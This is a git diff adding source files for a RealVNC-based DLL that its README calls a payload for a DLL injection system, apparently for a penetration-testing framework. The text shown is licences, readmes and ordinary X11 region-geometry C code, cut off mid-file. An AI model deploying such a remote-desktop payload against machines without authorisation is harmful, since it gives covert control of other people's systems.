diff --git a/external/source/reflective_vncdll/BUILDING.txt b/external/source/reflective_vncdll/BUILDING.txt new file mode 100644 index 0000000000..796a570c68 --- /dev/null +++ b/external/source/reflective_vncdll/BUILDING.txt @@ -0,0 +1,2 @@ +Use the solutions file 'winvnc\VNC DLL Injection.sln' to build vncdll.dll +This build has only been tested with Visual Studio 2003. \ No newline at end of file diff --git a/external/source/reflective_vncdll/LICENCE.txt b/external/source/reflective_vncdll/LICENCE.txt new file mode 100644 index 0000000000..fd654ab189 --- /dev/null +++ b/external/source/reflective_vncdll/LICENCE.txt @@ -0,0 +1,27 @@ +Copyright (c) 2008, Harmony Security +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/reflective_vncdll/README.txt b/external/source/reflective_vncdll/README.txt new file mode 100644 index 0000000000..a5254f94c9 --- /dev/null +++ b/external/source/reflective_vncdll/README.txt @@ -0,0 +1,10 @@ +This project is a mangled version of RealVNC v3.3.7, it has been modified to work +as a payload with the DLL injection system developed by Jarkko Turkulainen and +Matt Miller. The majority of the changes were made by Matt Miller, with minor +tweaks and packaging by H D Moore. If you have questions about this source code +or would like to extend it, you should contact: + +Matt Miller +H D Moore + +Updates to this project will be made available at metasploit.com \ No newline at end of file diff --git a/external/source/reflective_vncdll/REALVNC.README.txt b/external/source/reflective_vncdll/REALVNC.README.txt new file mode 100644 index 0000000000..97dc9d9cd7 --- /dev/null +++ b/external/source/reflective_vncdll/REALVNC.README.txt @@ -0,0 +1,115 @@ + +VNC Source Distribution for Windows platforms +============================================= + +VNC is Copyright RealVNC Ltd. 2002 and Copyright AT&T Laboratories Cambridge +1996-2001. This software is distributed under the GNU General Public Licence +as published by the Free Software Foundation. See the accompanying licence.txt +file for the conditions under which the software is made available. + +VNC also contains code from other sources. See the Acknowledgements section +below, and the individual files for details of the conditions under which +they are made available. + +There are two programs here in the two subdirectories: + + vncviewer - this is the VNC viewer, or client, program for Win32. + + winvnc - this is the VNC server for Win32. It allows a Windows desktop + to be accessed remotely using a VNC viewer. + +Both programs have been built using Microsoft Visual C++ 6.0, and appropriate +build settings are provided in this source distribution. + + +ACKNOWLEDGEMENTS +================ + +This distribution contains public domain zlib software by Jean-loup Gailly and Mark Adler. +This is: + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler. + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). + +This distribution contains public domain DES software by Richard Outerbridge. +This is: + + Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + + +This distribution contains Java DES software by Dave Zimmerman + and Jef Poskanzer . This is: + + Copyright (c) 1996 Widget Workshop, Inc. All Rights Reserved. + + Permission to use, copy, modify, and distribute this software and its + documentation for NON-COMMERCIAL or COMMERCIAL purposes and without fee + is hereby granted, provided that this copyright notice is kept intact. + + WIDGET WORKSHOP MAKES NO REPRESENTATIONS OR WARRANTIES ABOUT THE + SUITABILITY OF THE SOFTWARE, EITHER EXPRESS OR IMPLIED, INCLUDING BUT + NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A + PARTICULAR PURPOSE, OR NON-INFRINGEMENT. WIDGET WORKSHOP SHALL NOT BE + LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, + MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. + + THIS SOFTWARE IS NOT DESIGNED OR INTENDED FOR USE OR RESALE AS ON-LINE + CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE + PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT + NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE + SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE + SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE + PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). WIDGET + WORKSHOP SPECIFICALLY DISCLAIMS ANY EXPRESS OR IMPLIED WARRANTY OF + FITNESS FOR HIGH RISK ACTIVITIES. + + Copyright (C) 1996 by Jef Poskanzer . All rights + reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS + BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + Visit the ACME Labs Java page for up-to-date versions of this and other + fine Java utilities: http://www.acme.com/java/ diff --git a/external/source/reflective_vncdll/REALVNC.README_BINARY.txt b/external/source/reflective_vncdll/REALVNC.README_BINARY.txt new file mode 100644 index 0000000000..b809c50f5f --- /dev/null +++ b/external/source/reflective_vncdll/REALVNC.README_BINARY.txt @@ -0,0 +1,115 @@ + +VNC Binary Distribution for Windows platforms +============================================= + +VNC is Copyright RealVNC Ltd. 2002 and Copyright AT&T Laboratories Cambridge +1996-2001. This software is distributed under the GNU General Public Licence +as published by the Free Software Foundation. VNC also contains code from +other sources, as outlined in the Acknowledgements section below. + +The installer package contains two VNC components: + + VNCViewer - this is the VNC viewer, or client, program for Win32. + [Win9x, WinME, NT4, Win2000, WinXP] + + WinVNC - this is the VNC server for Win32. It allows a Windows desktop + to be accessed remotely using a VNC viewer. + [Win9x, WinME, NT4, Win2000, WinXP(*)] + +(*) Unless the in-built Fast User Switching or Remote Administration + features are used. + +Both components were built using Microsoft Visual C++ 6.0, and are designed +to operate upon the Win32 platforms listed above. + +ACKNOWLEDGEMENTS +================ + +This distribution contains public domain zlib software by Jean-loup Gailly and Mark Adler. +This is: + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler. + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). + +This distribution contains public domain DES software by Richard Outerbridge. +This is: + + Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + + +This distribution contains Java DES software by Dave Zimmerman + and Jef Poskanzer . This is: + + Copyright (c) 1996 Widget Workshop, Inc. All Rights Reserved. + + Permission to use, copy, modify, and distribute this software and its + documentation for NON-COMMERCIAL or COMMERCIAL purposes and without fee + is hereby granted, provided that this copyright notice is kept intact. + + WIDGET WORKSHOP MAKES NO REPRESENTATIONS OR WARRANTIES ABOUT THE + SUITABILITY OF THE SOFTWARE, EITHER EXPRESS OR IMPLIED, INCLUDING BUT + NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A + PARTICULAR PURPOSE, OR NON-INFRINGEMENT. WIDGET WORKSHOP SHALL NOT BE + LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, + MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. + + THIS SOFTWARE IS NOT DESIGNED OR INTENDED FOR USE OR RESALE AS ON-LINE + CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE + PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT + NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE + SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE + SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE + PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). WIDGET + WORKSHOP SPECIFICALLY DISCLAIMS ANY EXPRESS OR IMPLIED WARRANTY OF + FITNESS FOR HIGH RISK ACTIVITIES. + + Copyright (C) 1996 by Jef Poskanzer . All rights + reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS + BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + Visit the ACME Labs Java page for up-to-date versions of this and other + fine Java utilities: http://www.acme.com/java/ diff --git a/external/source/reflective_vncdll/Xregion/Region.c b/external/source/reflective_vncdll/Xregion/Region.c new file mode 100644 index 0000000000..8ea6b0fc24 --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Region.c @@ -0,0 +1,1653 @@ +/* $Xorg: Region.c,v 1.6 2001/02/09 02:03:35 xorgcvs Exp $ */ +/************************************************************************ + +Copyright 1987, 1988, 1998 The Open Group + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation. + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from The Open Group. + + +Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +************************************************************************/ +/* $XFree86: xc/lib/X11/Region.c,v 1.8 2001/12/14 19:54:05 dawes Exp $ */ +/* + * The functions in this file implement the Region abstraction, similar to one + * used in the X11 sample server. A Region is simply an area, as the name + * implies, and is implemented as a "y-x-banded" array of rectangles. To + * explain: Each Region is made up of a certain number of rectangles sorted + * by y coordinate first, and then by x coordinate. + * + * Furthermore, the rectangles are banded such that every rectangle with a + * given upper-left y coordinate (y1) will have the same lower-right y + * coordinate (y2) and vice versa. If a rectangle has scanlines in a band, it + * will span the entire vertical distance of the band. This means that some + * areas that could be merged into a taller rectangle will be represented as + * several shorter rectangles to account for shorter rectangles to its left + * or right but within its "vertical scope". + * + * An added constraint on the rectangles is that they must cover as much + * horizontal area as possible. E.g. no two rectangles in a band are allowed + * to touch. + * + * Whenever possible, bands will be merged together to cover a greater vertical + * distance (and thus reduce the number of rectangles). Two bands can be merged + * only if the bottom of one touches the top of the other and they have + * rectangles in the same places (of the same width, of course). This maintains + * the y-x-banding that's so nice to have... + */ + +//#include "Xlibint.h" +#include "Xregion.h" +#include "region.h" +//#include "poly.h" + +#ifdef DEBUG +#include +#define assert(expr) {if (!(expr)) fprintf(stderr,\ +"Assertion failed file %s, line %d: expr\n", __FILE__, __LINE__); } +#else +#define assert(expr) +#endif + +typedef void (*voidProcp)(); + +static void miRegionOp(); +/* Create a new empty region */ +XRegion +XCreateRegion() +{ + XRegion temp; + + if (! (temp = ( XRegion )Xmalloc( (unsigned) sizeof( REGION )))) + return (XRegion) NULL; + if (! (temp->rects = ( BOX * )Xmalloc( (unsigned) sizeof( BOX )))) { + Xfree((char *) temp); + return (XRegion) NULL; + } + temp->numRects = 0; + temp->extents.x1 = 0; + temp->extents.y1 = 0; + temp->extents.x2 = 0; + temp->extents.y2 = 0; + temp->size = 1; + return( temp ); +} + +int +XClipBox( r, rect ) + XRegion r; + XRectangle *rect; +{ + rect->x = r->extents.x1; + rect->y = r->extents.y1; + rect->width = r->extents.x2 - r->extents.x1; + rect->height = r->extents.y2 - r->extents.y1; + return 1; +} + +int +XUnionRectWithRegion(rect, source, dest) + register XRectangle *rect; + XRegion source, dest; +{ + REGION region; + + if (!rect->width || !rect->height) + return 0; + region.rects = ®ion.extents; + region.numRects = 1; + region.extents.x1 = rect->x; + region.extents.y1 = rect->y; + region.extents.x2 = rect->x + rect->width; + region.extents.y2 = rect->y + rect->height; + region.size = 1; + + return XUnionRegion(®ion, source, dest); +} + +/*- + *----------------------------------------------------------------------- + * miSetExtents -- + * Reset the extents of a region to what they should be. Called by + * miSubtract and miIntersect b/c they can't figure it out along the + * way or do so easily, as miUnion can. + * + * Results: + * None. + * + * Side Effects: + * The region's 'extents' structure is overwritten. + * + *----------------------------------------------------------------------- + */ +static void +miSetExtents (pReg) + XRegion pReg; +{ + register BoxPtr pBox, + pBoxEnd, + pExtents; + + if (pReg->numRects == 0) + { + pReg->extents.x1 = 0; + pReg->extents.y1 = 0; + pReg->extents.x2 = 0; + pReg->extents.y2 = 0; + return; + } + + pExtents = &pReg->extents; + pBox = pReg->rects; + pBoxEnd = &pBox[pReg->numRects - 1]; + + /* + * Since pBox is the first rectangle in the region, it must have the + * smallest y1 and since pBoxEnd is the last rectangle in the region, + * it must have the largest y2, because of banding. Initialize x1 and + * x2 from pBox and pBoxEnd, resp., as good things to initialize them + * to... + */ + pExtents->x1 = pBox->x1; + pExtents->y1 = pBox->y1; + pExtents->x2 = pBoxEnd->x2; + pExtents->y2 = pBoxEnd->y2; + + assert(pExtents->y1 < pExtents->y2); + while (pBox <= pBoxEnd) + { + if (pBox->x1 < pExtents->x1) + { + pExtents->x1 = pBox->x1; + } + if (pBox->x2 > pExtents->x2) + { + pExtents->x2 = pBox->x2; + } + pBox++; + } + assert(pExtents->x1 < pExtents->x2); +} + +extern void _XSetClipRectangles(); + +int +XDestroyRegion( r ) + XRegion r; +{ + Xfree( (char *) r->rects ); + Xfree( (char *) r ); + return 1; +} + + +/* TranslateRegion(pRegion, x, y) + translates in place + added by raymond +*/ + +int +XOffsetRegion(pRegion, x, y) + register XRegion pRegion; + register int x; + register int y; +{ + register int nbox; + register BOX *pbox; + + pbox = pRegion->rects; + nbox = pRegion->numRects; + + while(nbox--) + { + pbox->x1 += x; + pbox->x2 += x; + pbox->y1 += y; + pbox->y2 += y; + pbox++; + } + pRegion->extents.x1 += x; + pRegion->extents.x2 += x; + pRegion->extents.y1 += y; + pRegion->extents.y2 += y; + return 1; +} + +/* + Utility procedure Compress: + Replace r by the region r', where + p in r' iff (Quantifer m <= dx) (p + m in r), and + Quantifier is Exists if grow is TRUE, For all if grow is FALSE, and + (x,y) + m = (x+m,y) if xdir is TRUE; (x,y+m) if xdir is FALSE. + + Thus, if xdir is TRUE and grow is FALSE, r is replaced by the region + of all points p such that p and the next dx points on the same + horizontal scan line are all in r. We do this using by noting + that p is the head of a run of length 2^i + k iff p is the head + of a run of length 2^i and p+2^i is the head of a run of length + k. Thus, the loop invariant: s contains the region corresponding + to the runs of length shift. r contains the region corresponding + to the runs of length 1 + dxo & (shift-1), where dxo is the original + value of dx. dx = dxo & ~(shift-1). As parameters, s and t are + scratch regions, so that we don't have to allocate them on every + call. +*/ + +#define ZOpRegion(a,b,c) if (grow) XUnionRegion(a,b,c); \ + else XIntersectRegion(a,b,c) +#define ZShiftRegion(a,b) if (xdir) XOffsetRegion(a,b,0); \ + else XOffsetRegion(a,0,b) +#define ZCopyRegion(a,b) XUnionRegion(a,a,b) + +static void +Compress(r, s, t, dx, xdir, grow) + XRegion r, s, t; + register unsigned dx; + register int xdir, grow; +{ + register unsigned shift = 1; + + ZCopyRegion(r, s); + while (dx) { + if (dx & shift) { + ZShiftRegion(r, -(int)shift); + ZOpRegion(r, s, r); + dx -= shift; + if (!dx) break; + } + ZCopyRegion(s, t); + ZShiftRegion(s, -(int)shift); + ZOpRegion(s, t, s); + shift <<= 1; + } +} + +#undef ZOpRegion +#undef ZShiftRegion +#undef ZCopyRegion + +int +XShrinkRegion(r, dx, dy) + XRegion r; + int dx, dy; +{ + XRegion s, t; + int grow; + + if (!dx && !dy) return 0; + if ((! (s = XCreateRegion())) || (! (t = XCreateRegion()))) return 0; + if ((grow = (dx < 0))) dx = -dx; + if (dx) Compress(r, s, t, (unsigned) 2*dx, TRUE, grow); + if ((grow = (dy < 0))) dy = -dy; + if (dy) Compress(r, s, t, (unsigned) 2*dy, FALSE, grow); + XOffsetRegion(r, dx, dy); + XDestroyRegion(s); + XDestroyRegion(t); + return 0; +} + +#ifdef notdef +/*********************************************************** + * Bop down the array of rects until we have passed + * scanline y. numRects is the size of the array. + ***********************************************************/ + +static BOX +*IndexRects(rects, numRects, y) + register BOX *rects; + register int numRects; + register int y; +{ + while ((numRects--) && (rects->y2 <= y)) + rects++; + return(rects); +} +#endif + +/*====================================================================== + * Region Intersection + *====================================================================*/ +/*- + *----------------------------------------------------------------------- + * miIntersectO -- + * Handle an overlapping band for miIntersect. + * + * Results: + * None. + * + * Side Effects: + * Rectangles may be added to the region. + * + *----------------------------------------------------------------------- + */ +/* static void*/ +static int +miIntersectO (pReg, r1, r1End, r2, r2End, y1, y2) + register XRegion pReg; + register BoxPtr r1; + BoxPtr r1End; + register BoxPtr r2; + BoxPtr r2End; + short y1; + short y2; +{ + register short x1; + register short x2; + register BoxPtr pNextRect; + + pNextRect = &pReg->rects[pReg->numRects]; + + while ((r1 != r1End) && (r2 != r2End)) + { + x1 = max(r1->x1,r2->x1); + x2 = min(r1->x2,r2->x2); + + /* + * If there's any overlap between the two rectangles, add that + * overlap to the new region. + * There's no need to check for subsumption because the only way + * such a need could arise is if some region has two rectangles + * right next to each other. Since that should never happen... + */ + if (x1 < x2) + { + assert(y1rects); + pNextRect->x1 = x1; + pNextRect->y1 = y1; + pNextRect->x2 = x2; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + assert(pReg->numRects <= pReg->size); + } + + /* + * Need to advance the pointers. Shift the one that extends + * to the right the least, since the other still has a chance to + * overlap with that region's next rectangle, if you see what I mean. + */ + if (r1->x2 < r2->x2) + { + r1++; + } + else if (r2->x2 < r1->x2) + { + r2++; + } + else + { + r1++; + r2++; + } + } + return 0; /* lint */ +} + +int +XIntersectRegion(reg1, reg2, newReg) + XRegion reg1; + XRegion reg2; /* source regions */ + register XRegion newReg; /* destination Region */ +{ + /* check for trivial reject */ + if ( (!(reg1->numRects)) || (!(reg2->numRects)) || + (!EXTENTCHECK(®1->extents, ®2->extents))) + newReg->numRects = 0; + else + miRegionOp (newReg, reg1, reg2, + (voidProcp) miIntersectO, (voidProcp) NULL, (voidProcp) NULL); + + /* + * Can't alter newReg's extents before we call miRegionOp because + * it might be one of the source regions and miRegionOp depends + * on the extents of those regions being the same. Besides, this + * way there's no checking against rectangles that will be nuked + * due to coalescing, so we have to examine fewer rectangles. + */ + miSetExtents(newReg); + return 1; +} + +static void +miRegionCopy(dstrgn, rgn) + register XRegion dstrgn; + register XRegion rgn; + +{ + if (dstrgn != rgn) /* don't want to copy to itself */ + { + if (dstrgn->size < rgn->numRects) + { + if (dstrgn->rects) + { + BOX *prevRects = dstrgn->rects; + + if (! (dstrgn->rects = (BOX *) + Xrealloc((char *) dstrgn->rects, + (unsigned) rgn->numRects * (sizeof(BOX))))) { + Xfree(prevRects); + return; + } + } + dstrgn->size = rgn->numRects; + } + dstrgn->numRects = rgn->numRects; + dstrgn->extents.x1 = rgn->extents.x1; + dstrgn->extents.y1 = rgn->extents.y1; + dstrgn->extents.x2 = rgn->extents.x2; + dstrgn->extents.y2 = rgn->extents.y2; + + memcpy((char *) dstrgn->rects, (char *) rgn->rects, + (int) (rgn->numRects * sizeof(BOX))); + } +} + +#ifdef notdef + +/* + * combinRegs(newReg, reg1, reg2) + * if one region is above or below the other. +*/ + +static void +combineRegs(newReg, reg1, reg2) + register XRegion newReg; + XRegion reg1; + XRegion reg2; +{ + register XRegion tempReg; + register BOX *rects; + register BOX *rects1; + register BOX *rects2; + register int total; + + rects1 = reg1->rects; + rects2 = reg2->rects; + + total = reg1->numRects + reg2->numRects; + if (! (tempReg = XCreateRegion())) + return; + tempReg->size = total; + /* region 1 is below region 2 */ + if (reg1->extents.y1 > reg2->extents.y1) + { + miRegionCopy(tempReg, reg2); + rects = &tempReg->rects[tempReg->numRects]; + total -= tempReg->numRects; + while (total--) + *rects++ = *rects1++; + } + else + { + miRegionCopy(tempReg, reg1); + rects = &tempReg->rects[tempReg->numRects]; + total -= tempReg->numRects; + while (total--) + *rects++ = *rects2++; + } + tempReg->extents = reg1->extents; + tempReg->numRects = reg1->numRects + reg2->numRects; + EXTENTS(®2->extents, tempReg); + miRegionCopy(newReg, tempReg); + Xfree((char *)tempReg); +} + +/* + * QuickCheck checks to see if it does not have to go through all the + * the ugly code for the region call. It returns 1 if it did all + * the work for Union, otherwise 0 - still work to be done. +*/ + +static int +QuickCheck(newReg, reg1, reg2) + XRegion newReg, reg1, reg2; +{ + + /* if unioning with itself or no rects to union with */ + if ( (reg1 == reg2) || (!(reg1->numRects)) ) + { + miRegionCopy(newReg, reg2); + return TRUE; + } + + /* if nothing to union */ + if (!(reg2->numRects)) + { + miRegionCopy(newReg, reg1); + return TRUE; + } + + /* could put an extent check to see if add above or below */ + + if ((reg1->extents.y1 >= reg2->extents.y2) || + (reg2->extents.y1 >= reg1->extents.y2) ) + { + combineRegs(newReg, reg1, reg2); + return TRUE; + } + return FALSE; +} + +/* TopRects(rects, reg1, reg2) + * N.B. We now assume that reg1 and reg2 intersect. Therefore we are + * NOT checking in the two while loops for stepping off the end of the + * region. + */ + +static int +TopRects(newReg, rects, reg1, reg2, FirstRect) + register XRegion newReg; + register BOX *rects; + register XRegion reg1; + register XRegion reg2; + BOX *FirstRect; +{ + register BOX *tempRects; + + /* need to add some rects from region 1 */ + if (reg1->extents.y1 < reg2->extents.y1) + { + tempRects = reg1->rects; + while(tempRects->y1 < reg2->extents.y1) + { + MEMCHECK(newReg, rects, FirstRect); + ADDRECTNOX(newReg,rects, tempRects->x1, tempRects->y1, + tempRects->x2, MIN(tempRects->y2, reg2->extents.y1)); + tempRects++; + } + } + /* need to add some rects from region 2 */ + if (reg2->extents.y1 < reg1->extents.y1) + { + tempRects = reg2->rects; + while (tempRects->y1 < reg1->extents.y1) + { + MEMCHECK(newReg, rects, FirstRect); + ADDRECTNOX(newReg, rects, tempRects->x1,tempRects->y1, + tempRects->x2, MIN(tempRects->y2, reg1->extents.y1)); + tempRects++; + } + } + return 1; +} +#endif + +/*====================================================================== + * Generic Region Operator + *====================================================================*/ + +/*- + *----------------------------------------------------------------------- + * miCoalesce -- + * Attempt to merge the boxes in the current band with those in the + * previous one. Used only by miRegionOp. + * + * Results: + * The new index for the previous band. + * + * Side Effects: + * If coalescing takes place: + * - rectangles in the previous band will have their y2 fields + * altered. + * - pReg->numRects will be decreased. + * + *----------------------------------------------------------------------- + */ +/* static int*/ +static int +miCoalesce (pReg, prevStart, curStart) + register XRegion pReg; /* Region to coalesce */ + int prevStart; /* Index of start of previous band */ + int curStart; /* Index of start of current band */ +{ + register BoxPtr pPrevBox; /* Current box in previous band */ + register BoxPtr pCurBox; /* Current box in current band */ + register BoxPtr pRegEnd; /* End of region */ + int curNumRects; /* Number of rectangles in current + * band */ + int prevNumRects; /* Number of rectangles in previous + * band */ + int bandY1; /* Y1 coordinate for current band */ + + pRegEnd = &pReg->rects[pReg->numRects]; + + pPrevBox = &pReg->rects[prevStart]; + prevNumRects = curStart - prevStart; + + /* + * Figure out how many rectangles are in the current band. Have to do + * this because multiple bands could have been added in miRegionOp + * at the end when one region has been exhausted. + */ + pCurBox = &pReg->rects[curStart]; + bandY1 = pCurBox->y1; + for (curNumRects = 0; + (pCurBox != pRegEnd) && (pCurBox->y1 == bandY1); + curNumRects++) + { + pCurBox++; + } + + if (pCurBox != pRegEnd) + { + /* + * If more than one band was added, we have to find the start + * of the last band added so the next coalescing job can start + * at the right place... (given when multiple bands are added, + * this may be pointless -- see above). + */ + pRegEnd--; + while (pRegEnd[-1].y1 == pRegEnd->y1) + { + pRegEnd--; + } + curStart = pRegEnd - pReg->rects; + pRegEnd = pReg->rects + pReg->numRects; + } + + if ((curNumRects == prevNumRects) && (curNumRects != 0)) { + pCurBox -= curNumRects; + /* + * The bands may only be coalesced if the bottom of the previous + * matches the top 